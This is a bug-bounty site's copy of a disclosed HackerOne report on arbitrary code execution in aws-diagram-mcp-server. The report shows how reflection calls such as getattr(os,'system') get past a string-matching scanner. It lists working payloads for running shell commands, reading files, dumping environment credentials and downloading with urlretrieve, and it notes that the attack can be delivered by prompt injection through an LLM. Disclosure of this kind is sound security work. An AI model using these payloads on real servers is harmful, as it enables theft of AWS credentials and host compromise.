Skip to content
RCE Disclosed report Intermediate

Arbitrary Code Execution via Scanner Bypass in **aws-diagram-mcp-server** `exec()` Namespace

The aws-diagram-mcp-server executes user-supplied Python code in a namespace that includes the os module and urlretrieve, while its security scanner only blocks literal dangerous strings. An attacker can bypass the scanner using reflection or unblocked functions to run shell commands, read or write files, and exfiltrate environment variables including AWS credentials.

locus-x64 Follow

Originally disclosed on HackerOne

Informational View original
  • Disclosed after 21 days

Summary by the program

This is an informative report is related to a feature that was included in response to previous unrelated feedback in an open source repository. We thank @locus-x64 for this report, and the commitment to the security of AWS customers.

The report

Description: The aws-diagram-mcp-server contains an arbitrary code execution vulnerability in diagrams_tools.py. User-supplied Python code is executed via exec(code, namespace) at line 305 with a namespace containing the full os module, urlretrieve, and Python __builtins__. A security scanner (scanner.py) attempts to block dangerous calls using string pattern matching (e.g., blocking literal os.system, exec(, eval(), but this is trivially bypassed using Python reflection such as getattr(os, 'system')('cmd'), os.__dict__['system']('cmd'), or open('/etc/passwd').read(), none of which match the blocked literal patterns. Additionally, urlretrieve is injected into the namespace but not blocked at all. The AST-based import validator is sound but irrelevant since dangerous modules are pre-loaded into the exec namespace by the server itself. This allows full shell command execution, arbitrary file read/write, environment variable exfiltration (including AWS credentials), and network access — all running with the privileges of the server process.

Steps To Reproduce:

  1. Clone the repository and install dependencies for the diagram server:

    git clone https://github.com/awslabs/mcp.git && cd mcp/src/aws-diagram-mcp-server
    uv venv && uv sync --all-groups
    
  2. Launch the MCP Inspector connected to the server:

    npx @modelcontextprotocol/inspector uv --directory /path/to/mcp/src/aws-diagram-mcp-server run awslabs.aws-diagram-mcp-server
    

    Open http://localhost:6274 in browser, click Connect, go to Tools tab, click List Tools, then select generate_diagram.

  3. In the code input field, paste the following payload and click Run Tool:

    Python
    getattr(os, 'system')('echo PWNED > /tmp/mcp_poc_proof.txt')
    with Diagram("PoC", show=False):
        pass
    

    Then verify in a terminal: cat /tmp/mcp_poc_proof.txt -- it outputs PWNED. The scanner does not block this because getattr(os, 'system') does not match the literal pattern os.system checked in scanner.py:check_dangerous_functions().

  4. Additional bypass payloads that also pass the scanner and execute successfully:

    • File read: open('/etc/hostname').read() — open() is not in the blocked list
    • Command capture: getattr(os, 'popen')('whoami').read() — avoids literal os.popen
    • Env exfil: getattr(os, 'environ') — exposes all environment variables including potential AWS credentials
    • Network download: urlretrieve('https://example.com', '/tmp/downloaded.html') — not blocked at all despite being in the exec namespace
    • File write: open('/tmp/arbitrary_file', 'w').write('attacker content') — unrestricted write access

Impact

Summary

An attacker who can influence the code parameter sent to the generate_diagram tool, either directly as a connected MCP client or indirectly via prompt injection through an LLM, can execute arbitrary operating system commands with the full privileges of the server process. This enables:

  • Credential theft: Exfiltrating AWS access keys, session tokens, and other secrets from environment variables
  • Data exfiltration: Reading arbitrary files from the host filesystem (source code, config files, private keys)
  • System compromise: Writing files, installing backdoors, or modifying system configuration
  • Lateral movement: Using the server's network access and IAM role to pivot into cloud infrastructure
  • Denial of service: Killing processes, deleting files, or exhausting system resources

The vulnerability is especially dangerous in agentic workflows where users paste untrusted content that the LLM may incorporate into a diagram generation request without human review.

The original report as published on HackerOne, by locus-x64. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The server executes untrusted Python code in a namespace pre-loaded with dangerous modules and functions, and relies on a string-matching scanner that can be bypassed with reflection or unblocked functions.

Impact

An attacker who can influence the code parameter, directly or via prompt injection, can execute arbitrary OS commands with the server's privileges, leading to credential theft, data exfiltration, system compromise, lateral movement, and denial of service.

What the attacker needed

Access to the generate_diagram tool; ability to supply the code parameter

How it was found

  1. Clone the repository and install dependencies for the diagram server.
  2. Launch the MCP Inspector connected to the server and open the web interface.
  3. Connect to the server, list tools, and select the generate_diagram tool.
  4. In the code input field, paste a payload that uses reflection to call os.system and click Run Tool.
  5. Verify that the command executed by checking the output file in a terminal.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This tool lets users write Python code to generate diagrams, but it runs that code on the server with full system access. The safety check only looks for exact words like 'os.system', so a user can use a different way to call the same dangerous function and take control of the server.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More from AWS VDP

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.